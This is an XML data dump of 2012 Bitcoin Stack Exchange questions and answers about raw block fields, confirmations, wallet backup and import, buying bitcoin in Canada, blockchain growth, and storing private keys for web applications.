  <row Id="4524" PostTypeId="1" CreationDate="2012-08-22T22:30:54.243" Score="6" ViewCount="875" Body="&lt;p&gt;I am trying to understand the raw blocks better:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vin_sz and vout_sz are some of the unknowns. does this values (sz=size?) have something to do with a number of confirmations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&#xA;&lt;a href=&quot;https://blockexplorer.com/rawblock/00000000000008d11f13eed2e13f2765eceaf00de36e0ec040a10cc3738bdc74&quot;&gt;https://blockexplorer.com/rawblock/00000000000008d11f13eed2e13f2765eceaf00de36e0ec040a10cc3738bdc74&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1770" LastActivityDate="2012-08-23T01:28:00.093" Title="what are vin_sz and vout_sz in tx part?" Tags="|block|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4525" PostTypeId="2" ParentId="4524" CreationDate="2012-08-23T01:28:00.093" Score="8" Body="&lt;p&gt;I believe it stands for vector input size and vector output size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vin_sz is the number of inputs and vout_sz is the number of outputs.&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastActivityDate="2012-08-23T01:28:00.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4526" PostTypeId="1" AcceptedAnswerId="4527" CreationDate="2012-08-23T07:13:27.063" Score="3" ViewCount="193" Body="&lt;p&gt;Is the current number of confirmations visible somewhere in the raw block output created by blockexplorer or blockhain.info? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this information available in the raw stream or is the number of confirmations always &quot;live&quot; calculated by counting the confirmations and not &quot;saved&quot; in the raw stream?&lt;/p&gt;&#xA;" OwnerUserId="1770" LastEditorUserId="105" LastEditDate="2012-08-23T07:55:38.490" LastActivityDate="2012-08-23T09:03:28.633" Title="Is the current number of confirmations visible somewhere in the raw block?" Tags="|transactions|confirmations|block|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4527" PostTypeId="2" ParentId="4526" CreationDate="2012-08-23T07:35:19.603" Score="7" Body="&lt;p&gt;The number of confirmations is (height of most recent block - height of the block containing the transaction + 1). The contents of the specific block containing the transaction are fixed, while the number of confirmations keeps increasing, so the number of confirmations cannot be in the raw block data.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2012-08-23T09:03:28.633" LastActivityDate="2012-08-23T09:03:28.633" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4528" PostTypeId="2" ParentId="4496" CreationDate="2012-08-23T09:31:55.917" Score="17" Body="&lt;p&gt;I am basically doing the same thing for bitcoinmonitor.net. I have a database of addresses to monitor and get notifications from bitcoind for any incoming transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I maintain a patchset for bitcoind which allows setting an url which will be called with any incoming unconfirmed transaction, including transaction details in a json object. Also for any new accepted block a (different) url can be set up to be called with details on the new block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you will get a notification for any incoming unconfirmed transaction, then you can match this with the monitored addresses in your database.&#xA;If you want to trigger actions after a certain number of confirmations you need to hook up to the new block event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Check &lt;a href=&quot;https://github.com/TripleSpeeder/bitcoin&quot;&gt;https://github.com/TripleSpeeder/bitcoin&lt;/a&gt; for my bitcoind fork. I try to keep it more or less in sync with the current stable official client. This is running stable with bitcoinmonitor.net for around 10 months now.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2012-08-23T09:31:55.917" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4530" PostTypeId="1" AcceptedAnswerId="4531" CreationDate="2012-08-23T13:06:33.090" Score="5" ViewCount="5569" Body="&lt;p&gt;My mining pool has merged with Namecoin, and I need a Namecoin address. How do I create one ? Do I need to install another client ?&lt;/p&gt;&#xA;" OwnerUserId="1782" LastActivityDate="2014-02-21T05:07:08.693" Title="How do I create a Namecoin address?" Tags="|address|namecoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4531" PostTypeId="2" ParentId="4530" CreationDate="2012-08-23T13:37:22.130" Score="3" Body="&lt;p&gt;You can either install a client, or use some Namecoin-Bitcoin exchange (like &lt;a href=&quot;https://btc-e.com&quot; rel=&quot;nofollow&quot;&gt;BTC-E&lt;/a&gt;) to obtain an address. It`s generally the same as getting a Bitcoin address really, only a bit less popular.&lt;/p&gt;&#xA;" OwnerUserId="323" LastEditorUserId="323" LastEditDate="2012-08-23T17:24:19.750" LastActivityDate="2012-08-23T17:24:19.750" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4532" PostTypeId="2" ParentId="4254" CreationDate="2012-08-23T16:05:36.837" Score="0" Body="&lt;p&gt;There are many exchanges (this reason is good enough by itself) and most exchanges &quot;must&quot; follow some kind of an &lt;a href=&quot;https://www.google.si/search?q=aml%20policy&quot; rel=&quot;nofollow&quot; title=&quot;AML policy&quot;&gt;AML policy&lt;/a&gt; so they can get bank accounts opened quickly, safely, ... Just because of that most of exchanges refuse to work with governments, agencies since they know there could problems. Also person with lot of money usually &quot;must&quot; be identified by the exchange.&lt;/p&gt;&#xA;" OwnerUserId="1181" LastActivityDate="2012-08-23T16:05:36.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4533" PostTypeId="2" ParentId="4522" CreationDate="2012-08-23T19:30:06.063" Score="2" Body="&lt;p&gt;It's pretty much the same thing.  It probably should have been called 'minconf'.&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2012-08-23T19:30:06.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4534" PostTypeId="1" CreationDate="2012-08-23T23:01:16.207" Score="2" ViewCount="55" Body="&lt;p&gt;With all the talk of economic sustainability and the dangers of infinite growth how do you think a virtual currency could be used to encourage the trade of virtual goods ? Or possibly a more efficient use of natural resources.&lt;/p&gt;&#xA;" OwnerUserId="1573" LastEditorUserId="1573" LastEditDate="2012-08-23T23:09:43.540" LastActivityDate="2012-08-23T23:09:43.540" Title="Encouraging virtual exchange and independance from hard money?" Tags="|economic-theory|currencies|" AnswerCount="0" CommentCount="7" ClosedDate="2013-02-11T09:50:14.397" ContentLicense="CC BY-SA 3.0" />
  <row Id="4535" PostTypeId="1" CreationDate="2012-08-23T23:07:02.437" Score="1" ViewCount="227" Body="&lt;p&gt;Would it be feasible for a virtual currency to be used in the same way as alternative currencies such as Berkshares and Brixton Pounds ? Furthermore, do you think it is possible to make it independent of conventional currencies such that it is held to a standard, say a basket of household goods ?&lt;/p&gt;&#xA;" OwnerUserId="1573" LastActivityDate="2012-08-24T02:21:43.540" Title="Virtual currency used as alternative currency" Tags="|economic-theory|currencies|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="4536" PostTypeId="2" ParentId="4535" CreationDate="2012-08-23T23:12:42.310" Score="3" Body="&lt;p&gt;While there's no technical issue preventing the use of Bitcoin and its' associated engine for any number of alternate currency types, the problem you're likely to run into with your question is the addition of a central issuer. Bitcoin is explicitly designed for distributed issuance of funds according to a carefully designed algorithm that requires distributed proof-of-work. It would be non-trivial to chance the issuance mechanism.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, if you have a talented programmer, Bitcoin &lt;em&gt;is&lt;/em&gt; open-source under the MIT license and you're welcome to modify it as you see fit, just know that it's probably not going to be as easy as your question seems to indicate it should be.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2012-08-23T23:12:42.310" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="4537" PostTypeId="2" ParentId="4535" CreationDate="2012-08-24T01:32:35.227" Score="2" Body="&lt;p&gt;Bitcoin is a standalone alternative currency with no dependency or &quot;backing&quot; from any other entity.  The rate it trades at is the result of supply and demand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The alternative currencies Berkshares and Brixton Pounds are representative currencies.  A Berkshare represents 95% of a dollar.  For example, you can go to a bank in the region and exchange one Berkshare and get back $0.95 USD.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Participating local merchants will accept the BerkShare at a 1:1 ratio with the dollar.  They aren't necessarily losing the 5% as a customer discount though because after the merchant receives that Berkshare, it can then be used to pay contractors or to make purchases from other merchants.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The funds then circulate over and over within the community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the merchant happens to end up taking in too many BerkShares and needs make purchases where payment is in dollars, the BerkShares can always be redeemed back to dollars at the rate of $0.95 per BerkShare.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of the benefit goes to the consumer who converts dollars to BerkShares because this effectively provides a 5% discount on all purchases made using Berkshares.  When the merchant then goes to spend these, there is no direct benefit because a full $1 of value was exchanged for each BerkShare.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The merchant might find that offering this 5% discount is something that is more than offset with stronger business locally, or the mechant desires improved relations with its customers and benefits from building and supporting a stronger local community.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This all works because BerkShares are not issued elsewhere, and they cannot be redeemed elsewhere.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Bitcoin, there is no containment.  A merchant could offer a discount for all bitcoin payments, but because that bitcoin can be redeemed anywhere, the funds aren't necessarily retained in the local community.  There's no harm to offering this other than the potentially harm to margins, but going this route misses completely the original incentive of a community currency -- a reasonable method to encourage the community to increase commerce locally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the main reason this wouldn't work when using bitcoin just yet though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Technically the backing for the BerkShare could be a bitcoin, or an ounce of silver even if you really wanted.  But the problem is that you then expose the community members (consumers and merchants) to exchange rate risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But let's say this community (consumers and merchants) were willing to take on the exchange rate risk.  There are more problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BerkShares does have a cost to administer -- the bills must be printed and there must be exchange to and from dollars, etc.  With BerkShares, apparently the local community together subsidizes that.  But the person holding the BerkShare is at no time not ever able to get back at least the $0.95 of value that was spent to acquire it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there were a method to transact electronically, then there wouldn't be the cost of the bills, but that is asking the consumer and merchant to incur costs that would be seen as excessive.  So it would probably need to be paper-based or a coin monetary instrument representing the amount of backing held by an issuer.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that again is a roadblock.  The dollars backing BerkShares are held in a federally insured bank and BerkShares is responsible to ensure that no BerkShares are counterfeits.  This does not translate well for bitcoin, as there is no &quot;federal bank&quot; to store the bitcoins with.  Maybe with M of N a workable method to &quot;bank&quot; the coins would be accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a lot of options for something like this, but really no incentive as the goal of the community currency is to introduce friction that encourages commerce to remain local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin is built to bypass any artificial frictions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now individuals and merchants in the community are free to begin using bitcoin without it being promoted as some type of community currency.  It would be something novel where the merchant might attract new customers, but doing so doesn't necessarily bring the same results along the lines of what the BerkShares' goal is intended to bring.&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2012-08-24T02:21:43.540" LastActivityDate="2012-08-24T02:21:43.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4538" PostTypeId="1" CreationDate="2012-08-24T02:13:37.003" Score="4" ViewCount="10030" Body="&lt;p&gt;I live in Canada, I don't have a credit card. I want to buy a prepaid one and but some bitcoins. How can I do this? Or is there a way to use my debit card? Or even go to my bank and do it.&lt;/p&gt;&#xA;" OwnerUserId="1789" LastEditorUserId="153" LastEditDate="2012-08-24T02:39:15.337" LastActivityDate="2023-01-05T21:25:47.177" Title="How do I buy bitcoins using a prepaid credit card? [Canada]" Tags="|exchanges|debitcard|canada|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4539" PostTypeId="2" ParentId="4538" CreationDate="2012-08-24T02:44:49.663" Score="1" Body="&lt;p&gt;Using a prepaid card is the hard way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your better option is to use an exchange.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does your bank have online Bill Payment?  If so, you might be able to send funds to &lt;a href=&quot;http://cavirtex.com/&quot; rel=&quot;nofollow&quot;&gt;CA VirtEx&lt;/a&gt; using that method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can instead deposit cash at Royal Bank, Bank of Montreal or ScotiaBank, and it will be credited to your account at CA VirtEx.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another Canadian exchange, &lt;a href=&quot;http://www.canadianbitcoins.com/&quot; rel=&quot;nofollow&quot;&gt;Canadian Bitcoins&lt;/a&gt;, accepts cash via XpressPost, (or in-person at their office in Ottowa).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There might be other methods that work for you as well:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Buying_bitcoins&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Buying_bitcoins&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;There's quite a variety of methods:&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-24T02:44:49.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4540" PostTypeId="1" CreationDate="2012-08-24T09:11:08.637" Score="5" ViewCount="633" Body="&lt;p&gt;I just downloaded the bitcoin client and the full transaction database and did not fail to notice that it took me more than a day to download and check the transaction database and that it occupies more than 2 GB of diskspace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What will happen when the number of transaction will grow to several millions a day?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will the Database grow over a TB? &#xA;Is that even viable ?&lt;/p&gt;&#xA;" OwnerUserId="1786" LastActivityDate="2012-08-24T11:15:55.330" Title="Is the transaction database ever shortened?" Tags="|transactions|database|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4541" PostTypeId="2" ParentId="4540" CreationDate="2012-08-24T09:30:55.370" Score="3" Body="&lt;p&gt;Some blockchain pruning will be done but it will still be several TB in size. Most Bitcoin users will not run a full node but rather an SPV client, or just an eWallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I suspect that most Bitcoin transfers will not be directly on the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2012-08-24T09:30:55.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4542" PostTypeId="1" CreationDate="2012-08-24T09:40:38.747" Score="3" ViewCount="834" Body="&lt;p&gt;I believe that once it becomes significantly cheaper to transfer money between countries using Bitcoins, its usage will increase significantly. My question is, therefore, between which countries will a transfer (from bank account to bank account) be cheaper using Bitcoins than PayPal. For simplicity, let's say that the PayPal fees are 2,9% + 30 cents per transaction and that the amount to transfer is 100$.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From Denmark to the US, I believe that the fees will be like the following:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My bank account to MtGox bank account in Denmark: 0%&lt;/li&gt;&#xA;&lt;li&gt;MtGox exchange fee: 0,6%&lt;/li&gt;&#xA;&lt;li&gt;Loss due to &lt;a href=&quot;http://bitcoincharts.com/markets/mtgoxDKK.html&quot; rel=&quot;nofollow&quot;&gt;market spread&lt;/a&gt; (difference between buying and selling price/2): 1,12% &lt;/li&gt;&#xA;&lt;li&gt;Transfer of Bitcoins: 0%&lt;/li&gt;&#xA;&lt;li&gt;MtGox to USD: 0,6%&lt;/li&gt;&#xA;&lt;li&gt;Loss due to market spread (difference between buying and selling price/2): ~0% &lt;/li&gt;&#xA;&lt;li&gt;MtGox to US bank account: 0%?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This means that there will be a 2,32% fee between these currencies if there is no fee from MtGox to US bank account, while the PayPal fees will be 3,2% for 100$. This means that Bitcoins will be a cheaper method of transfer between Denmark and the US. Now I would like to know which other countries it would also be cheaper to use Bitcoins to transfer between?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason why I calculate market spread as difference between buying and selling price/2 is because the market price should normally be in the middle between the buying and selling price on an exchange. The spread will depend on the daily trading volume of the exchange, and since the trading volume between Danish krones is so low, the exchange cost due to market spread is a significant expense. &lt;/p&gt;&#xA;" OwnerUserId="6" LastEditorUserId="132" LastEditDate="2013-04-09T22:20:25.113" LastActivityDate="2013-04-09T22:20:25.113" Title="Between which locations are transfers using Bitcoins cheaper than PayPal for 100$?" Tags="|exchanges|transaction-fees|bitcoin-economy|wire-transfers|paypal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4543" PostTypeId="2" ParentId="4540" CreationDate="2012-08-24T11:15:55.330" Score="4" Body="&lt;p&gt;Meni's answer is probably correct, but describes a very far future, in my opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the more near future, I believe we'll see fully-validating nodes that do not keep the entire block chain around. The current reference client implementation uses blockchain + transaction database for validation, which cannot easily support pruning. I'm working on modifying the validation code to use a separate database of just the unspent outputs instead, which is much more efficient and only requires a few hundred MB of storage, in addition to the blocks it wants to keep around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure this will open possibilities, but somewhat further ahead, I believe this will lead to a separation between validation nodes and archive nodes. The former relay and can be queried for their memory pool, and check whether transactions are valid, but they cannot serve old transactions or blocks, and hence cannot be used to bootstrap a new node from. For these purposes, one will connect to an archive node (this could be via the P2P protocol, but may as well be HTTP or BitTorrent).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disclaimer: these are my views/opinions, and may not reflect those of other (core) developers.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2012-08-24T11:15:55.330" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4544" PostTypeId="1" CreationDate="2012-08-24T15:19:28.293" Score="3" ViewCount="1446" Body="&lt;p&gt;I'm really new to Bitcoin (just started today) so forgive me if this question has been asked before but I can't seem to find an answer on Google. From what I understand, the Bitcoin program is capable of encrypting your wallet for you. So, can I safely encrypt the wallet (using bitcoin-qt) then move it to my Dropbox folder and then symlink it so the program will access the copy in my Dropbox. I don't really want to lose my wallet.&lt;/p&gt;&#xA;" OwnerUserId="1793" LastEditorUserId="105" LastEditDate="2012-08-24T20:54:01.587" LastActivityDate="2012-08-24T20:54:01.587" Title="Backing up my Bitcoin wallet" Tags="|wallet|backup|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4545" PostTypeId="1" CreationDate="2012-08-24T16:55:37.647" Score="1" ViewCount="245" Body="&lt;p&gt;I want to use my all my computer to run Bitcoins, but is it possible to have it the same address so it generate under one wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1794" LastEditorUserId="5406" LastEditDate="2016-04-01T09:33:57.410" LastActivityDate="2016-04-01T09:33:57.410" Title="How to set up multiple client under the same address?" Tags="|shared-wallet|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4546" PostTypeId="2" ParentId="4544" CreationDate="2012-08-24T18:00:11.373" Score="2" Body="&lt;p&gt;Yes, as long as you close the Bitcoin program first, you can copy the wallet.dat file anywhere you want to back it up. Just remember to keep it safe and use a password, and your Bitcoins will be safe. If you lose the wallet, you will lose the bitcoins you have in it forever (there is no option of recovery of lost bitcoins, unless you are talking about recovering lost files from your hard drive).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2012-08-24T18:00:11.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="4547" PostTypeId="1" CreationDate="2012-08-24T20:03:31.217" Score="12" ViewCount="11217" Body="&lt;p&gt;I used to run bitcoin on Ubuntu and I have a wallet with 1 coin in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a backup of my &lt;code&gt;~/.bitcoin&lt;/code&gt; directory which includes a &lt;code&gt;wallet.dat&lt;/code&gt; file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I'm running on a mac, using the bitcoint-qt client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get back the money from that wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I just copy it over the existing wallet that the mac client generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to run a command line client and point to my wallet then transfer coins from it to the new wallet?&lt;/p&gt;&#xA;" OwnerUserId="1795" LastEditorUserId="2306" LastEditDate="2015-03-13T14:37:59.700" LastActivityDate="2015-03-13T14:37:59.700" Title="How to import my wallet?" Tags="|client|wallet-import|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="4548" PostTypeId="1" AcceptedAnswerId="4550" CreationDate="2012-08-24T20:31:07.177" Score="3" ViewCount="5318" Body="&lt;p&gt;&lt;a href=&quot;https://blockchain.info/wallet/send-via&quot; rel=&quot;nofollow&quot;&gt;The FAQ&lt;/a&gt; says&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens if the transaction is not claimed?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The private key the funds were sent to is saved in the senders archived addresses. The sender can reclaim the amount at anytime by sweeping that address, it's up to you how long you wait for the amount to be claimed. The address will be labeled &quot;username (Sent Via XX)&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this done specifically?&lt;/p&gt;&#xA;" OwnerUserId="78" LastEditorUserId="516" LastEditDate="2012-10-17T19:10:11.713" LastActivityDate="2017-03-10T09:40:05.623" Title="How to reclaim unclaimed Bitcoins sent via Blockchain.info to Facebook/Email friends?" Tags="|blockchain.info|sending|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4549" PostTypeId="2" ParentId="4547" CreationDate="2012-08-24T20:42:38.470" Score="11" Body="&lt;p&gt;I got it to work by simply copying the file over.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An important point to notice if you intend to follow this suggestion:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My mac wallet had 0 coins&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your mac wallet has coins, then don't follow this solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I shut down the bitcoin-qt client. Not sure if this step is necessary but I think it's safer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I copied the wallet.dat file over to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/Library/Application Support/Bitcoin/wallet.dat&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then start the bitcoint-qt client again. It might take a bit longer to startup than usual. Don't panic and let it take its time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you will see your coins in the client!&lt;/p&gt;&#xA;" OwnerUserId="1795" LastActivityDate="2012-08-24T20:42:38.470" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="4550" PostTypeId="2" ParentId="4548" CreationDate="2012-08-24T20:46:53.720" Score="3" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;code&gt;Receive Money&lt;/code&gt;, &lt;code&gt;Archived&lt;/code&gt;, find the address in question (&quot;username (Sent Via XX&quot;). Click this button to bring it back to active addresses:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GTJSo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;code&gt;Send Money&lt;/code&gt;, &lt;code&gt;Custom&lt;/code&gt;, send all the money from that address to another address in your wallet. You can now archive the address again.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="105" LastActivityDate="2012-08-24T20:46:53.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4551" PostTypeId="2" ParentId="4428" CreationDate="2012-08-25T02:27:53.743" Score="1" Body="&lt;p&gt;My experiences messing around with all this tells me that the fault &lt;em&gt;probably&lt;/em&gt; falls with my particular version of pywallet.  Specifically, it is simply reporting the private keys inappropriately.  The primary reason I think this is that the addresses in the pywallet dump corresponding to addresses that can both send &lt;em&gt;and&lt;/em&gt; receive coins using the Bitcoin-qt client.  Additionally, the pywallet utility can &lt;em&gt;add&lt;/em&gt; its legitimate private keys to the wallet, and there's no problems -- the address and associated private key in the 'keys' entry match up.  Hence, it's just a problem of &lt;em&gt;reporting&lt;/em&gt; the correct results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I still don't get is why how the keys pywallet spits out are still legitimate.  It's almost as if instead of using the private keys actually associated with each address through the client, it's generating its own.  But I'm not terribly well versed in cryptography yet, and that's just the thoughts of a mind desperate for an explanation!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm still unsure of how to fully resolve this matter.  I'd hate to ``downgrade'' my version of pywallet, so to speak, but it may be worthwhile to see if an older version behaves as expected.&lt;/p&gt;&#xA;" OwnerUserId="1724" LastActivityDate="2012-08-25T02:27:53.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4553" PostTypeId="2" ParentId="4545" CreationDate="2012-08-25T12:04:01.547" Score="1" Body="&lt;p&gt;You can dump the private key from one and import it into the others &lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2012-08-25T12:04:01.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4555" PostTypeId="1" AcceptedAnswerId="4636" CreationDate="2012-08-25T19:51:36.277" Score="12" ViewCount="2878" Body="&lt;p&gt;Blockchain.info &lt;a href=&quot;http://blockchain.info/connected-nodes&quot;&gt;http://blockchain.info/connected-nodes&lt;/a&gt; shows a list of nodes it is connected to. Is it possible for me to add them as a node for connection?&lt;/p&gt;&#xA;" OwnerUserId="1151" LastActivityDate="2018-08-18T21:04:18.337" Title="Can I addnode to blockchain.info?" Tags="|blockchain.info|nodes|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4556" PostTypeId="1" AcceptedAnswerId="4559" CreationDate="2012-08-26T01:19:42.337" Score="4" ViewCount="199" Body="&lt;p&gt;I have a transaction that I generated/signed using a custom tool.  I'd like to make sure it was generated correctly by submitting it to the official client and watching the logs to see if it is accepted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to manually submit a transaction to the official client (either json or binary)?  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="540" LastActivityDate="2012-08-26T13:21:52.497" Title="Add a transaction generated offline to the official client" Tags="|transactions|client|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4557" PostTypeId="1" AcceptedAnswerId="4558" CreationDate="2012-08-26T02:59:14.030" Score="4" ViewCount="726" Body="&lt;p&gt;Most web apps that accept bitcoin (whether it's an exchange, a gambling site, etc) provide the user with a public address for depositing bitcoins into their account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How are these web applications storing the private key associated with the deposit address? What is the best practise for the storage of the private keys from a security standpoint? What is the best storage procedure for web developers looking to create large quantities of key pairs for their web applications?&lt;/p&gt;&#xA;" OwnerUserId="1374" LastActivityDate="2012-08-27T05:34:17.190" Title="Storage of Private Keys" Tags="|private-key|public-key|ecdsa|database|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="4558" PostTypeId="2" ParentId="4557" CreationDate="2012-08-26T07:44:40.003" Score="3" Body="&lt;p&gt;If you only need receiving addresses, then you need only a table for those along with a column that flags to prevent it from from being used a second time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keys can be generated in bulk:&#xA; - &lt;a href=&quot;http://bitcointalk.org/index.php?topic=101708.0&quot; rel=&quot;nofollow&quot;&gt;http://bitcointalk.org/index.php?topic=101708.0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now just because you aren't saving the private key on the web host doesn't mean security can be lax.  If a host were compromised, the attacker could replace the Bitcoin addresses in the table with addresses under the control of the attacker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For situations where the Bitcoin client needs to send transactions, a cold wallet / hot wallet method will help lessen the damage should  the system become compromised. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's additional information for Securing online services:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bitcoin.it/wiki/Securing_online_services&quot; rel=&quot;nofollow&quot;&gt;http://en.bitcoin.it/wiki/Securing_online_services&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="153" LastActivityDate="2012-08-26T07:44:40.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
